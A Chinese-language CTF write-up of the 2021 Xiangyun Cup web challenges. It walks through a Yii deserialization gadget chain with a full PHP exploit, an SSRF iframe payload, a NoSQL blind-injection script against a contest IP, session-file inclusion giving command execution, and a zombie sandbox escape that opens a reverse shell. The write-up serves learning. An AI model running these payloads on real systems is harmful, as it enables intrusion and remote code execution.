2021祥云杯_web_wp

比赛的wp以及赛后复现,这次比赛总的赛题也更偏向于js和java了,看来php要逐渐退出舞台了吗?(doge

ezyii

yii链子大全见于https://xz.aliyun.com/t/9948#toc-0

可惜等我开始做题时,文章作者已经发现影响比赛于是先把涉及比赛的第四条链子下了,下面是对于这个链子利用的分析

首先出题人还是非常友好的吧要用到的类函数才给了我们(感谢善良的出题人)

题目明显反序列化,给的源码中也只有一个__destruct

于是入口变的明显起来

也就是这里

Untitled

那么就来看看stopProcess

1
2
3
4
5
6
7
8
9
10
11
12
public function stopProcess()
{
foreach (array_reverse($this->processes) as $process) {

if (!$process->isRunning()) {
continue;
}
$this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
$process->stop();
}
$this->processes = [];
}

这里有两个可以调用魔术方法的地方,一个是process调用函数可以触发call,还有就是后面那个字符串可以触发toString

唯一的__call

Untitled

唯一的__toString

Untitled

调用函数的地方有两个一个是processes,一个是getCommandLine,processes在if里,也没法利用,于是就看看下面那个getCommandLine,他是可以和toString一起配合使用的,那么我们的目标就变成让让process→getCommandLine返回一个有toString函数的类,也即AppendStream,于是只要让call返回AppendStream即可成功调用toString

而__toString是直接进rewind,然后到seek,seek函数如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public function seek($offset, $whence = SEEK_SET)
{
if (!$this->seekable) {
throw new \RuntimeException('This AppendStream is not seekable');
} elseif ($whence !== SEEK_SET) {
throw new \RuntimeException('The AppendStream can only seek with SEEK_SET');
}

$this->pos = $this->current = 0;

// Rewind each stream
foreach ($this->streams as $i => $stream) {
try {
$stream->rewind();
} catch (\Exception $e) {
throw new \RuntimeException('Unable to seek stream '
. $i . ' of the AppendStream', 0, $e);
}
}
}

可以调用其他stream的rewind函数,那先来看看哪些是有这个函数的,发现只有CachingStream

Untitled

CachingStream的rewind函数直接调用seek,具体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function rewind()
{
$this->seek(0);
}

public function seek($offset)
{

$byte = $offset;

$diff = $byte - $this->stream->getSize();

if ($diff > 0) {
// Read the remoteStream until we have read in at least the amount
// of bytes requested, or we reach the end of the file.
while ($diff > 0 && !$this->remoteStream->eof()) {
$this->read($diff);
$diff = $byte - $this->stream->getSize();
}
} else {
// We can just do a normal seek since we've already seen this byte.
$this->stream->seek($byte);
}
}

发现可以调用自己的read函数,即下面这个

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public function read($length)
{
// Perform a regular read on any previously read data from the buffer
$data = $this->stream->read($length);
$remaining = $length - strlen($data);

// More data was requested so read from the remote stream
if ($remaining) {
// If data was written to the buffer in a position that would have
// been filled from the remote stream, then we must skip bytes on
// the remote stream to emulate overwriting bytes from that
// position. This mimics the behavior of other PHP stream wrappers.
$remoteData = $this->remoteStream->read(
$remaining + $this->skipReadBytes
);

if ($this->skipReadBytes) {
$len = strlen($remoteData);
$remoteData = substr($remoteData, $this->skipReadBytes);
$this->skipReadBytes = max(0, $this->skipReadBytes - $len);
}

$data .= $remoteData;
$this->stream->write($remoteData);
}

return $data;
}

而这个read函数,可以调用其他类的read函数,于是我们可以调用PumpStream的read函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public function read($length)
{
$data = $this->buffer->read($length);
$readLen = strlen($data);
$this->tellPos += $readLen;
$remaining = $length - $readLen;

if ($remaining) {
$this->pump($remaining);
$data .= $this->buffer->read($remaining);
$this->tellPos += strlen($data) - $readLen;
}

return $data;
}
private function pump($length)
{
if ($this->source) {
do {
$data = call_user_func($this->source, $length);
if ($data === false || $data === null) {
$this->source = null;
return;
}
$this->buffer->write($data);
$length -= strlen($data);
} while ($length > 0);
}
}

同样,也就可以使用pump,于是在pump里,我们就可以使用call_user_func这个回调函数,不过我在比赛时也是卡在了这里,因为length只能是数字,实在想不到采用什么利用姿势才能达到catflag的目的,甚至实现rce,下面是事后看daolao的wp学习的

题目给了一个SerializableClosure类的,这个类允许我们序列化一个匿名函数(正常情况下是不能序列化匿名函数的),而这个类存在一个__invoke方法如下

1
2
3
4
public function __invoke()
{
return call_user_func_array($this->closure, func_get_args());
}

触发时调用如上代码,那么整个payload的最后一环就由一个我们可控的任意代码执行的匿名函数解决

那现在就简单了通过pump的call_user_func来触发 __invoke进而触发参数完全可以自己把握的call_user_func_array(太秀了这步,之前完全没想到)

exp(来自先知社区

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
namespace Codeception\Extension{
use Faker\DefaultGenerator;
use GuzzleHttp\Psr7\AppendStream;
class RunProcess{
protected $output;
private $processes = [];
public function __construct(){
$this->processes[]=new DefaultGenerator(new AppendStream());
$this->output=new DefaultGenerator('jiang');
}
}
echo urlencode(serialize(new RunProcess()));
}

namespace Faker{
class DefaultGenerator
{
protected $default;

public function __construct($default = null)
{
$this->default = $default;
}
}
}
namespace GuzzleHttp\Psr7{
use Faker\DefaultGenerator;
final class AppendStream{
private $streams = [];
private $seekable = true;
public function __construct(){
$this->streams[]=new CachingStream();
}
}
final class CachingStream{
private $remoteStream;
public function __construct(){
$this->remoteStream=new DefaultGenerator(false);
$this->stream=new PumpStream();
}
}
final class PumpStream{
private $source;
private $size=-10;
private $buffer;
public function __construct(){
$this->buffer=new DefaultGenerator('j');
include("closure/autoload.php");
$a = function(){phpinfo();};
$a = \Opis\Closure\serialize($a);
$b = unserialize($a);
$this->source=$b;
}
}
}

Secrets_Of_Admin

账号密码在database可以看到,也可以看到flag在superuser下

Untitled

主要是这三个接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
router.post('/admin', checkAuth, (req, res, next) => {
let { content } = req.body;
if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
// even admin can't be trusted right ? :)
return res.render('admin', { error: 'Forbidden word 🤬'});
} else {
let template = `
<html>
<meta charset="utf8">
<title>Create your own pdfs</title>
<body>
<h3>${content}</h3>
</body>
</html>
`
try {
const filename = `${uuid()}.pdf`
pdf.create(template, {
"format": "Letter",
"orientation": "portrait",
"border": "0",
"type": "pdf",
"renderDelay": 3000,
"timeout": 5000
}).toFile(`./files/${filename}`, async (err, _) => {
if (err) next(createError(500));
const checksum = await getCheckSum(filename);
console.log(checksum)
await DB.Create('superuser', filename, checksum)
return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
});
} catch (err) {
return res.render('admin', { error : 'Failed to generate pdf 😥'})
}
}
});

router.get('/api/files', async (req, res, next) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return next(createError(401));
}
let { username , filename, checksum } = req.query;
if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
try {
await DB.Create(username, filename, checksum)
return res.send('Done')
} catch (err) {
return res.send('Error!')
}
} else {
return res.send('Parameters error')
}
});

router.get('/api/files/:id', async (req, res) => {
let token = req.signedCookies['token']
if (token && token['username']) {
if (token.username == 'superuser') {
return res.send('Superuser is disabled now');
}
try {
let filename = await DB.getFile(token.username, req.params.id)
if (fs.existsSync(path.join(__dirname , "../files/", filename))){
return res.send(await readFile(path.join(__dirname , "../files/", filename)));
} else {
return res.send('No such file!');
}
} catch (err) {
return res.send('Error!');
}
} else {
return res.redirect('/');
}
});

先看看这三个路由分别有什么用

/admin路由可以自己输入内容,然后用HTML转PDF渲染一个PDF出来,过滤严格,没发加上标签,而/api/files路由则必须本地访问,可以添加记录且所有参数都可控,最后/api/files/:id路由则通过checkSum来读文件。

第一个可以用数组绕过,从而可以使用[]绕过

接下来利用第二个路由进行ssrf

最后通过第三个路由读取

1
<iframe src="http://127.0.0.1:8888/api/files?username=admin&filename=/flag&checksum=任意"></iframe>

PackageManager2021

index.ts里有个注入点

1
let docs = await User.$where(`this.username == "admin" && hex_md5(this.password) == "bfc31e7c22340f30e5b15badc0cafead" || this.password['+str(i)+'] == "'+chr(x)+'" && this.username == "admin"`).exec()

害,还是太菜了,对nosql注入了解不多,一直在想怎么xss了,有空好好学习一下nosql注入(todo++

payload

1
bfc31e7c22340f30e5b15badc0cafead" || this.password['+str(i)+'] == "'+chr(x)+'" && this.username == "admin

这样就可以一位位的拿到密码,拿到密码之后登录上去就可以看到flag了

来自https://cn-sec.com/archives/470638.html的exp脚本

1
2
3
4
5
6
7
8
9
10
11
12
import requests
passwd = ""
for i in range(0,50):
for j in range(32,127):
burp0_url = "http://47.104.108.80:8888/auth"
burp0_cookies = {"session": "s%3A48cl_lUReimQytHn7toEfeafbGGIpWXB.YBzs%2B3EcrGrFNvfOoe0wEbmm2NSA%2B4tVAlsYy7eRoIE"}
burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Origin": "http://47.104.108.80:8888", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "http://47.104.108.80:8888/auth", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
burp0_data = {"_csrf": "kATaxQjv-Uka6Hw6X85iWgBuhyTxqgy7pvVA", "token": "cf87efe0c36a12aec113cd7982043573"||(this.username=="admin"&&this.password[{}]=="{}")||"".format(i,chr(j))}
res=requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,allow_redirects=False)
if res.status_code == 302:
passwd += chr(j)
print(passwd)

安全检测

后台可以填url,明显是ssrf,如果构造报错,那在返回中会有file_get_contents出现

第一反应肯定是试试伪协议,filter这些被过滤了

没啥思路,于是比赛时就到此为止了,赛后看wp才知道有个admin目录(又忘记扫目录了

里面有个include123.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
$u=$_GET['u'];

$pattern = "\/\*|\*|\.\.\/|\.\/|load_file|outfile|dumpfile|sub|hex|where";
$pattern .= "|file_put_content|file_get_content|fwrite|curl|system|eval|assert";
$pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
$pattern .="|`|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec|http|.php|.ph|.log|\@|:\/\/|flag|access|error|stdout|stderr";
$pattern .="|file|dict|gopher";
//累了累了,饮茶先

$vpattern = explode("|",$pattern);

foreach($vpattern as $value){
if (preg_match( "/$value/i", $u )){
echo "检测到恶意字符";
exit(0);
}
}

include($u);

show_source(__FILE__);
?>

在这个过滤下无法包含vps也无法通过日志

于是就只能试试session了

于是成功执行函数

1
url1=http://127.0.0.1/admin/include123.php?u=/tmp/sess_aed2613cf894023354f4f332c67e9f2d%26fxz=<?=phpinfo();?>

看目录下内容空格用%09

1
url1=http://127.0.0.1/admin/include123.php?u=/tmp/sess_aed2613cf894023354f4f332c67e9f2d%26fxz=<?=`ls%09/`;?>

flag被过滤了利用?或者*啥的过滤一下就可以了

1
url1=http://127.0.0.1/admin/include123.php?u=/tmp/sess_aed2613cf894023354f4f332c67e9f2d%26fxz=<?=`.%09/getfl?g.sh`;?>

crawler_z

这题当时完全没思路,只能赛后看看大师傅们是怎么做的

主要功能在user.js

功能就是用户可以输入一个网址,然后通过验证爬虫就会去爬那个网址

实现爬虫功能的是一个叫zombie的库

然后参考https://ha.cker.in/index.php/Article/13563来进行漏洞利用

1
2
if (url.protocol != "http:" && url.protocol != "https:") return false;
if (url.href.includes('oss-cn-beijing.ichunqiu.com') === false) return false;

checkBucket函数下,看到bucket的要求,必须以http:或者https:为开头,且必须包含oss-cn-beijing.ichunqiu.com

然后还得过

1
2
3
if (/^https:\/\/[a-f0-9]{32}\.oss-cn-beijing\.ichunqiu\.com\/$/.exec(bucket)) {
res.redirect(`/user/verify?token=${authToken}`)
}

这里是完整的verify路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
router.get('/verify', async (req, res, next) => {
let { token } = req.query;
if (!token || typeof (token) !== "string") {
return res.send("Parameters error");
}
let user = await User.findByPk(req.session.userId);
const result = await Token.findOne({
token,
userId: req.session.userId,
valid: true
});
if (result) {
try {
await Token.update({
valid: false
}, {
where: { userId: req.session.userId }
});
await User.update({
bucket: user.personalBucket
}, {
where: { userId: req.session.userId }
});
user = await User.findByPk(req.session.userId);
return res.render('user', { user, message: "Successfully update your bucket from personal bucket!" });
} catch (err) {
next(createError(500));
}
} else {
user = await User.findByPk(req.session.userId);
return res.render('user', { user, message: "Failed to update, check your token carefully" })
}
})

大概意思是输入一个正确的token,就会把用户的personalBucket放到bucket里面,就可以让爬虫去访问了

思路为把bucket设置为我们自己的vps

然后在我们的vps上放置一个oss-cn-beijing.ichunqiu.com.html恶意文件

修改bucket为http://ip/oss-cn-beijing.ichunqiu.com.html

最后通过而已文件来反弹shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var codeToExec = "var sync=require('child_process').spawnSync; " +
"var ls = sync('bash', ['-c', 'bash -i .......']); console.log(ls.output.toString());";
var exploit = "c='constructor';require=this[c][c]('return process')().mainModule.require;" + codeToExec;
var attackVector = "c='constructor';this[c][c](\"" + exploit + "\")()";
// end exploit

var express = require('express');

var app = express();

app.get('/test', function(req, res) {
res.send("<script>" + attackVector + "</script>");
});

app.listen(3000);

还有一道是java的,因为不会java,java水平停留在应付考试(太菜了),所以先摆烂了